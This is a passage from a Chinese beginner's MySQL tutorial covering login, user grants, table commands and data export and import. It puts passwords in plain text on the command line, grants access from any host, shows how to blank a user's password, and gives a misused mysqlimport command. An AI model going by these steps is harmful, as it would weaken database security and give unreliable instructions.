Query OK, 0 rows affected (0.01 sec)
mysql>quit
Bye
[weiwen@weiwenlinux]$mysql mydb -utest -ptest
其中test.sql是用vi编辑好的SQL脚本,其内容为:
Insert into TestTable(UserName,Address)values('Tom','shanghai');
Insert into TestTable(UserName,Address)values('John','beijing');
select * from TestTable;
运行已经编辑好的SQL脚本可以用source filename 或 . filename。
以上只是对新手的简单练习,要成为一个数据库好手,当以孜孜不倦地追求知识,不断地思考、尝试、再思考。
第一招、mysql服务的启动和停止
net stop mysql
net start mysql
第二招、登陆mysql
语法如下: mysql -u用户名 -p用户密码
键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:
mysql>
注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP
第三招、增加新用户
格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"
如,增加一个用户user1密码为password1,让其可以在本机上登录, 并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入mysql,然后键入以下命令:
grant select,insert,update,delete on *.* to user1@localhost Identified by "password1";
如果希望该用户能够在任何机器上登陆mysql,则将localhost改为"%"。
如果你不想user1有密码,可以再打一个命令将密码去掉。
grant select,insert,update,delete on mydb.* to user1@localhost identified by "";
第四招: 操作数据库
登录到mysql中,然后在mysql的提示符下运行下列命令,每个命令以分号结束。
1、 显示数据库列表。
show databases;
缺省有两个数据库:mysql和test。 mysql库存放着mysql的系统和用户权限信息,我们改密码和新增用户,实际上就是对这个库进行操作。
2、 显示库中的数据表:
use mysql;
show tables;
3、 显示数据表的结构:
describe 表名;
4、 建库与删库:
create database 库名;
drop database 库名;
5、 建表:
use 库名;
create table 表名(字段列表);
drop table 表名;
6、 清空表中记录:
delete from 表名;
7、 显示表中的记录:
select * from 表名;
第五招、导出和导入数据
1. 导出数据:
mysqldump --opt test > mysql.test
即将数据库test数据库导出到mysql.test文件,后者是一个文本文件
如:mysqldump -u root -p123456 --databases dbname > mysql.dbname
就是把数据库dbname导出到文件mysql.dbname中。
2. 导入数据:
mysqlimport -u root -p123456 < mysql.dbname。
不用解释了吧。
3. 将文本数据导入数据库:
文本数据的字段数据之间用tab键隔开。
use test;
load data local infile "文件名" into table 表名;